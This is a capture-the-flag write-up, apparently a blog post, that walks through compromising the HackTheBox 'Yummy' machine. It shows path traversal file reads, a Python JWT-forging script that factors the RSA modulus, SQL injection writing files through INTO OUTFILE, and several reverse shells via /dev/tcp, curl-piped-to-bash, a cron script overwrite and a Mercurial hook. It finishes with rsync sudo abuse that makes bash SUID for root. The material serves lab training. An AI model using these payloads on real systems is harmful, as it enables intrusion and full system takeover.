Post

HackTheBox: Yummy

HackTheBox: Yummy

Yummy is a hard-rated HackTheBox machine where we exploit a vulnerable web application to perform session hijacking, file disclosure, and SQL injection, gaining initial access. Once inside, we take advantage of misconfigurations, which allow us to escalate privileges laterally before ultimately achieving root access.


Enumeration

Nmap Scan

Doing an nmap on the IP provided.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
┌──(str4ngerx㉿voldemort)-[~/Desktop/HackTheBox/yummy]
└─$ cat nmap.out              
# Nmap 7.94SVN scan initiated Sat Oct  5 23:19:58 2024 as: nmap -sC -sV -T4 -oN nmap.out -vv 10.129.30.107
Nmap scan report for 10.129.30.107
Host is up, received syn-ack (0.075s latency).
Scanned at 2024-10-05 23:20:03 CET for 12s
Not shown: 998 closed tcp ports (conn-refused)
PORT   STATE SERVICE REASON  VERSION
22/tcp open  ssh     syn-ack OpenSSH 9.6p1 Ubuntu 3ubuntu13.5 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   256 a2:ed:65:77:e9:c4:2f:13:49:19:b0:b8:09:eb:56:36 (ECDSA)
| ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBNb9gG2HwsjMe4EUwFdFE9H8NguzJkfCboW4CveSS+cr2846RitFyzx3a9t4X7S3xE3OgLnmgj8PtKCcOnVh8nQ=
|   256 bc:df:25:35:5c:97:24:f2:69:b4:ce:60:17:50:3c:f0 (ED25519)
|_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIEZKWYurAF2kFS4bHCSCBvsQ+55/NxhAtZGCykcOx9b6
80/tcp open  http    syn-ack Caddy httpd
| http-methods: 
|_  Supported Methods: GET HEAD POST OPTIONS
|_http-server-header: Caddy
|_http-title: Did not follow redirect to http://yummy.htb/
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Read data files from: /usr/bin/../share/nmap
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Sat Oct  5 23:20:15 2024 -- 1 IP address (1 host up) scanned in 17.00 seconds

Looking at the results we have 2 ports open.

  • 22/SSH OpenSSH - open
  • 80/HTTP Caddy httpd - open

Web Application - 80

Adding the hostname to our /etc/hosts we could visit and take a look at http://10.129.30.107/ we get a restaurant website.

Screenshot

First thing we did is to create a random account and try and log in. Once in, we could book a table and we need to make sure to enter the same email address we used to sign in.

Screenshot

Going to Dashboard we now see our reservation with the possibility to either cancel it or “Save iCalendar

Screenshot

Clicking on Save iCalendar a .ics file got downloaded for us with this content:

1
2
3
4
5
6
7
8
9
10
BEGIN:VCALENDAR
VERSION:2.0
PRODID:ics.py - http://git.io/lLljaA
BEGIN:VEVENT
DESCRIPTION:Email: test@test.com\nNumber of People: 5\nMessage: Booking a Table
DTSTART:20241008T000000Z
SUMMARY:7eleven
UID:e08ba44c-b81a-4e9a-8e1c-edd655f1a3b2@e08b.org
END:VEVENT
END:VCALENDAR

Exploitation

Initial Foothold

Turning on Burpsuite to see what’s happening exactly we see two requests being sent once we click on Save iCalendar, one being to /reminder/21 forwarding that we get a GET request to /export/Yummy_reservation_20241007_091042.ics and that’s what is downloading the file for us.

So we tried to manipulate those requests and we got a File Traversal vulnerability where we could download system files, first thing we tried to download was /etc/passwd by forwarding the 2nd request to /export/../../../../../etc/passwd instead of /export/Yummy_reservation_20241007_091042.ics.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/run/ircd:/usr/sbin/nologin
_apt:x:42:65534::/nonexistent:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
systemd-network:x:998:998:systemd Network Management:/:/usr/sbin/nologin
systemd-timesync:x:997:997:systemd Time Synchronization:/:/usr/sbin/nologin
dhcpcd:x:100:65534:DHCP Client Daemon,,,:/usr/lib/dhcpcd:/bin/false
messagebus:x:101:102::/nonexistent:/usr/sbin/nologin
systemd-resolve:x:992:992:systemd Resolver:/:/usr/sbin/nologin
pollinate:x:102:1::/var/cache/pollinate:/bin/false
polkitd:x:991:991:User for polkitd:/:/usr/sbin/nologin
syslog:x:103:104::/nonexistent:/usr/sbin/nologin
uuidd:x:104:105::/run/uuidd:/usr/sbin/nologin
tcpdump:x:105:107::/nonexistent:/usr/sbin/nologin
tss:x:106:108:TPM software stack,,,:/var/lib/tpm:/bin/false
landscape:x:107:109::/var/lib/landscape:/usr/sbin/nologin
fwupd-refresh:x:989:989:Firmware update daemon:/var/lib/fwupd:/usr/sbin/nologin
usbmux:x:108:46:usbmux daemon,,,:/var/lib/usbmux:/usr/sbin/nologin
sshd:x:109:65534::/run/sshd:/usr/sbin/nologin
dev:x:1000:1000:dev:/home/dev:/bin/bash
mysql:x:110:110:MySQL Server,,,:/nonexistent:/bin/false
caddy:x:999:988:Caddy web server:/var/lib/caddy:/usr/sbin/nologin
postfix:x:111:112::/var/spool/postfix:/usr/sbin/nologin
qa:x:1001:1001::/home/qa:/bin/bash
_laurel:x:996:987::/var/log/laurel:/bin/false

Looking for a while we found somethings interesting in /etc/crontab.

Note: If the reservation is expired you can make another one

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
# /etc/crontab: system-wide crontab
# Unlike any other crontab you don't have to run the `crontab'
# command to install the new version when you edit this file
# and files in /etc/cron.d. These files also have username fields,
# that none of the other crontabs do.

SHELL=/bin/sh
# You can also override PATH, but by default, newer versions inherit it from the environment
#PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin

# Example of job definition:
# .---------------- minute (0 - 59)
# |  .------------- hour (0 - 23)
# |  |  .---------- day of month (1 - 31)
# |  |  |  .------- month (1 - 12) OR jan,feb,mar,apr ...
# |  |  |  |  .---- day of week (0 - 6) (Sunday=0 or 7) OR sun,mon,tue,wed,thu,fri,sat
# |  |  |  |  |
# *  *  *  *  * user-name command to be executed
17 *	* * *	root	cd / && run-parts --report /etc/cron.hourly
25 6	* * *	root	test -x /usr/sbin/anacron || { cd / && run-parts --report /etc/cron.daily; }
47 6	* * 7	root	test -x /usr/sbin/anacron || { cd / && run-parts --report /etc/cron.weekly; }
52 6	1 * *	root	test -x /usr/sbin/anacron || { cd / && run-parts --report /etc/cron.monthly; }
#
*/1 * * * * www-data /bin/bash /data/scripts/app_backup.sh
*/15 * * * * mysql /bin/bash /data/scripts/table_cleanup.sh
* * * * * mysql /bin/bash /data/scripts/dbmonitor.sh

Looking through the app_backup.sh file we found the source code of the web app.

1
2
3
4
5
#!/bin/bash

cd /var/www
/usr/bin/rm backupapp.zip
/usr/bin/zip -r backupapp.zip /opt/app

After downloading that backupapp.zip we found an interesting endpoint within the source code.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
@app.route('/admindashboard', methods=['GET', 'POST'])
def admindashboard():
        validation = validate_login()
        if validation != "administrator":
            return redirect(url_for('login'))
 
        try:
            connection = pymysql.connect(**db_config)
            with connection.cursor() as cursor:
                sql = "SELECT * from appointments"
                cursor.execute(sql)
                connection.commit()
                appointments = cursor.fetchall()

                search_query = request.args.get('s', '')

                # added option to order the reservations
                order_query = request.args.get('o', '')

                sql = f"SELECT * FROM appointments WHERE appointment_email LIKE %s order by appointment_date {order_query}"
                cursor.execute(sql, ('%' + search_query + '%',))
                connection.commit()
                appointments = cursor.fetchall()
            connection.close()
            
            return render_template('admindashboard.html', appointments=appointments)
        except Exception as e:
            flash(str(e), 'error')
            return render_template('admindashboard.html', appointments=appointments)

We can see a potential SQLi in the SELECT query, more precisely, at the order by.

1
sql = f"SELECT * FROM appointments WHERE appointment_email LIKE %s order by appointment_date {order_query}"

But before that, we need a way to access that end point since it’s checking our session token and that’s by creating ourselves a new JWT token where we have a role claim set as administrator. And here is a python script that will help us doing it.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
import base64
import json
import jwt
from Crypto.PublicKey import RSA
from cryptography.hazmat.backends import default_backend
from cryptography.hazmat.primitives import serialization
import sympy

jwt_token = "YOUR_JWT_TOKEN"

def apply_padding(encoded_str):
    while len(encoded_str) % 4 != 0:
        encoded_str += '='
    return encoded_str

def decode_base64_url(input_str):
    input_str = apply_padding(input_str)
    input_str = input_str.replace('-', '+').replace('_', '/')
    return base64.b64decode(input_str)

# Parse and decode the JWT payload
decoded_payload = json.loads(decode_base64_url(jwt_token.split(".")[1]).decode())
modulus_n = int(decoded_payload["jwk"]['n'])
prime_p, prime_q = list((sympy.factorint(modulus_n)).keys())
public_exp = 65537
totient_n = (prime_p - 1) * (prime_q - 1)
private_exp = pow(public_exp, -1, totient_n)
rsa_key_data = {'n': modulus_n, 'e': public_exp, 'd': private_exp, 'p': prime_p, 'q': prime_q}
rsa_key = RSA.construct((rsa_key_data['n'], rsa_key_data['e'], rsa_key_data['d'], rsa_key_data['p'], rsa_key_data['q']))
pem_private_key = rsa_key.export_key()

# Load private key
loaded_private_key = serialization.load_pem_private_key(
    pem_private_key,
    password=None,
    backend=default_backend()
)
rsa_public_key = loaded_private_key.public_key()

# Decode JWT, modify role, and re-encode
decoded_jwt_data = jwt.decode(jwt_token, rsa_public_key, algorithms=["RS256"])
decoded_jwt_data["role"] = "administrator"

# Generate new JWT
updated_token = jwt.encode(decoded_jwt_data, loaded_private_key, algorithm="RS256")
print(updated_token)

Let’s breakout the python script and try to understand it.

  • apply_padding(encoded_str) :
    • Ensures the base64 URL string is properly padded to a multiple of 4 characters. Base64 encoding requires its output to be divisible by 4. Sometimes JWT tokens or other base64 strings may not have proper padding (=), so this function adds it.
  • decode_base64_url(input_str) :
    • Decodes a base64 URL-encoded string into its original form. JWT tokens are base64 URL-encoded. To extract information from the token (like the payload), we need to first decode it.
  • Decoding and Extracting RSA parameters :
    • We first start by extracting and decoding the JWT token’s payload, which contains a JSON Web Key (JWK) with a modulus n. This modulus is factorized into its prime components p and q, which are used to compute the private key. Specifically, after obtaining p and q, the RSA algorithm is applied to calculate the private exponent d using the public exponent e = 65537 and the totient (ϕ) of n. With these values, we constructed our RSA Private Key from which a Public Key will be extracted and used to sign the JWT token.
  • Decoding, Modifying and Rencoding the JWT:
    • We first start by decoding the JWT token in order to modify the role claim to administrator and then rencode it and print it for us to set it as our JWT session cookie.

Now that we understood what the script does let’s make use of it. We just need to replace YOUR_JWT_TOKEN with ours (Inspect > Storage), once extracted, handed to the script and execute it we got the session key we need to use.

1
2
3
┌──(str4ngerx㉿voldemort)-[~/Desktop/HackTheBox/yummy]
└─$ python3 gtoken.py
eyJhbGciOiJSUzI1NiIsInR5cCI6IkpXVCJ9.eyJlbWFpbCI6InRlc3RAdGVzdC5jb20iLCJyb2xlIjoiYWRtaW5pc3RyYXRvciIsImlhdCI6MTcyODI5MTczNCwiZXhwIjoxNzI4Mjk1MzM0LCJqd2siOnsia3R5IjoiUlNBIiwibiI6IjEyODY3MzE1NzMxOTEzNDkzMDU0NDI4ODUxMjYzNDk4Njg4NjE4MTA1OTA5NTc4NDMyMzg3NjY3Nzc2NDIwMjg2ODIxMzg1ODAxMDIzMDQwNTA2MDAwOTkxNjAyMzEyMzYwOTE5ODc4ODMzNDI3NzMwMzM3Njg4NDY2OTgxNDQ3MjcxMTY3Nzc0NzYyNDA4NDU3NDY1MjA5NTE2MjgzNDg2NzU5NTMzNTE4OTkwNTcyNTY2NTk3MDI2MzU1MTczMTE5NzU5ODM4OTEzNDQxNzk2NjA3Nzc1Njg3MTYwNzM1MzgxMzA3NzY5MTYwODI3NDU1NzgzMjMwODgwNjg0MTMzNzg5Njg2MTc3NTA4NDM0MDM2MTQzNTcxMjUwMzI2NDMzMzI5ODQ3NTc1NjcwMTc3NjkxOTI2NjAzOSIsImUiOjY1NTM3fX0.B37YaPRzakhgCeuM8b2dqIMsdZnBlyY7aM7cTLeM6Pw7RSpn1VI8ZZAYsvBiG44JaomzcbUqzbDwqVunW0SFm_isZTJ5obaQ3k5q9Q7wskwfzwb2CJHLMbo5u6UOyAWDKkLU2ZISWiHr4IbCCGcAcNYcmZ14oYpLSxng5S2AwCZxm8k

Looking at http://yummy.htb/admindashboard we get a list of reservations.

Screenshot

As we said earlier, the search query is vulnerable to SQLi but fetching the databases won’t help us much as we won’t find anything interesting. Looking at the crontab again we see a script being ran by MySQL called dbmonitor.sh taking a look at that we get the following code.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
#!/bin/bash

timestamp=$(/usr/bin/date)
service=mysql
response=$(/usr/bin/systemctl is-active mysql)

if [ "$response" != 'active' ]; then
    /usr/bin/echo "{\"status\": \"The database is down\", \"time\": \"$timestamp\"}" > /data/scripts/dbstatus.json
    /usr/bin/echo "$service is down, restarting!!!" | /usr/bin/mail -s "$service is down!!!" root
    latest_version=$(/usr/bin/ls -1 /data/scripts/fixer-v* 2>/dev/null | /usr/bin/sort -V | /usr/bin/tail -n 1)
    /bin/bash "$latest_version"
else
    if [ -f /data/scripts/dbstatus.json ]; then
        if grep -q "database is down" /data/scripts/dbstatus.json 2>/dev/null; then
            /usr/bin/echo "The database was down at $timestamp. Sending notification."
            /usr/bin/echo "$service was down at $timestamp but came back up." | /usr/bin/mail -s "$service was down!" root
            /usr/bin/rm -f /data/scripts/dbstatus.json
        else
            /usr/bin/rm -f /data/scripts/dbstatus.json
            /usr/bin/echo "The automation failed in some way, attempting to fix it."
            latest_version=$(/usr/bin/ls -1 /data/scripts/fixer-v* 2>/dev/null | /usr/bin/sort -V | /usr/bin/tail -n 1)
            /bin/bash "$latest_version"
        fi
    else
        /usr/bin/echo "Response is OK."
    fi
fi

[ -f dbstatus.json ] && /usr/bin/rm -f dbstatus.json

Looking at the bash script we see a potential vulnerability. Basically here what’s happening is that the script is checking whether the mysql server is up or not which, in our case, it is. Now it checks whether the /data/scripts/dbstatus.json file contains the string database is down or not if it does not it looks for all fixer-v* files under /data/scripts and then executes the latest.

All we need to do is to write something inside the dbstatus.json and then write our reverse shell payload inside of fixer-v through an SQLi payload.

  • Writing to the dbstatus.json:
1
http://yummy.htb/admindashboard?s=test&o=ASC%3b+select+"test"+INTO+OUTFILE+'/data/scripts/dbstatus.json'%3b
  • Writing to fixer-v our rev shell payload:

We first need to create a reverse.sh file with the following content

1
2
3
#!/bin/bash

/bin/bash -i >& /dev/tcp/YOUR_IP/9001 0>&1

and host a python web server at the same place where we created our reverse.sh

1
2
3
┌──(str4ngerx㉿voldemort)-[~/Desktop/HackTheBox/yummy]
└─$ sudo python3 -m http.server 80 
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...

Once done, starting our nc session using nc -lnvp 9001 and now we can CURL or visit the following link

1
http://yummy.htb/admindashboard?s=test&o=ASC%3b+select+"curl+YOUR_IP/reverse.sh+|bash%3b"+INTO+OUTFILE+'/data/scripts/fixer-v'+%3b

Now we need to wait for a bit for the cronjob to hit and we get our shell!

Note: If you don’t just resend the GET requests by revisiting the URLs as there is a script on the box removing the created files after a while

1
2
3
4
5
6
7
┌──(str4ngerx㉿voldemort)-[~/Desktop/HackTheBox/yummy]
└─$ nc -lnvp 9001
listening on [any] 9001 ...
connect to [10.10.14.79] from (UNKNOWN) [10.129.162.161] 52456
bash: cannot set terminal process group (22295): Inappropriate ioctl for device
bash: no job control in this shell
mysql@yummy:/var/spool/cron$ 

Lateral Movement - www-data

Once on the box, we started looking for any lateral movements vectors. One of the jobs running is run by www-data (the backup process from earlier) which executes the app_backup.sh under /data/scripts/ but looking at that directory we see that we have the permission to read,write and execute so we can modify it and get a shell as www-data.

1
2
3
4
┌──(str4ngerx㉿voldemort)-[~/Desktop/HackTheBox/yummy]
└─$ mv /data/scripts/app_backup.sh /data/scripts/app_backup.sh.old
┌──(str4ngerx㉿voldemort)-[~/Desktop/HackTheBox/yummy]
└─$ echo '/bin/bash -i >& /dev/tcp/YOUR_IP/8001 0>&1' > /data/scripts/app_backup.sh 

Setting up a netcat listener we got a shell!

1
2
3
4
5
6
7
┌──(str4ngerx㉿voldemort)-[~/Desktop/HackTheBox/yummy]
└─$ nc -lnvp 8001  
listening on [any] 8001 ...
connect to [10.10.14.79] from (UNKNOWN) [10.129.162.161] 51966
bash: cannot set terminal process group (22592): Inappropriate ioctl for device
bash: no job control in this shell
www-data@yummy:/root$ 

Lateral Movement - QA

After looking for a while we found a app-qatesting under /var/www which have a .hg directory which is a Mercurial’s directory (Similar to Git).

Looking through the files we found some credentials at /var/www/app-qatesting/.hg/store/data/app.py.i

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
www-data@yummy:/root$ strings /var/www/app-qatesting/.hg/store/data/app.py.i
strings /var/www/app-qatesting/.hg/store/data/app.py.i

[...] 

'app.secret_key = s.token_hex(32)
T sql = f"SELECT * FROM appointments WHERE_email LIKE %s"
#md5
9    'user': 'chef',
    'password': '[REDACTED]',
V([Q
>GQ$
6    'user': 'qa',
    'password': '[REDACTED]',

Lateral Movement - Dev

Looking through the sudo permission we get an interesting one.

1
2
3
4
5
6
7
8
qa@yummy:~$ sudo -l
[sudo] password for qa: 
Matching Defaults entries for qa on localhost:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin, use_pty

User qa may run the following commands on localhost:
    (dev : dev) /usr/bin/hg pull /home/dev/app-production/

For us to get a shell as Dev we need to abuse that sudo permission, more specifically, leverage Mercurial’s hooks feature to execute arbitrary commands and get a shell.

1
2
3
4
5
6
qa@yummy:~$ mkdir /tmp/exploit-hg
qa@yummy:~$ hg init /tmp/exploit-hg
qa@yummy:~$ echo "[hooks]" > /tmp/exploit-hg/.hg/hgrc
qa@yummy:~$ echo "changegroup = /bin/bash -c 'bash -i >& /dev/tcp/10.10.14.79/7001 0>&1'" >> /tmp/exploit-hg/.hg/hgrc
qa@yummy:~$ chmod -R 777 /tmp/exploit-hg
qa@yummy:~$ cd /tmp/exploit-hg/

and now we need to make netcat session to catch the rev shell and pull as dev using:

1
qa@yummy:/tmp/exploit-hg$ sudo -u dev /usr/bin/hg pull /home/dev/app-production/

And we got our shell!

Privilege Escalation - as Root

Looking again through our sudo permissions.

1
2
3
4
5
6
7
8
dev@yummy:/tmp/exploit-hg$ sudo -l
sudo -l
Matching Defaults entries for dev on localhost:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin, use_pty

User dev may run the following commands on localhost:
    (root : root) NOPASSWD: /usr/bin/rsync -a --exclude\=.hg /home/dev/app-production/* /opt/app/

So here, the vulnerability lies within the asterisk (*) in the sudo permission which we can use to add more options. Having that in mind we decided to set an suid on /bin/bash using this command and it worked!

1
sudo /usr/bin/rsync -a --exclude\=.hg /home/dev/app-production/../../../../../../bin/bash --chmod=+s /opt/app/ && /opt/app/bash -p
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
dev@yummy:/tmp/exploit-hg$ sudo /usr/bin/rsync -a --exclude\=.hg /home/dev/app-production/../../../../../../bin/bash --chmod=+s /opt/app/ && /opt/app/bash -p
sudo /usr/bin/rsync -a --exclude\=.hg /home/dev/app-production/../../../../../../bin/bash --chmod=+s /opt/app/ && /opt/app/bash -p
id
uid=1000(dev) gid=1000(dev) euid=0(root) groups=1000(dev)
cd /root
ls -la
total 36
drwx------  6 root root 4096 Oct  7 00:56 .
drwxr-xr-x 24 root root 4096 Sep 30 08:16 ..
lrwxrwxrwx  1 root root    9 May 15 13:12 .bash_history -> /dev/null
-rw-r--r--  1 root root 3106 Apr 22 13:04 .bashrc
drwx------  2 root root 4096 Sep 30 10:05 .cache
drwxr-xr-x  3 root root 4096 Sep 30 08:16 .local
-rw-r--r--  1 root root  161 Apr 22 13:04 .profile
-rw-r-----  1 root root   33 Oct  7 00:56 root.txt
drwxr-xr-x  2 root root 4096 Sep 30 08:16 scripts
drwx------  2 root root 4096 Sep 30 08:16 .ssh

And with that, we successfully pwned the box!

This post is licensed under CC BY 4.0 by the author.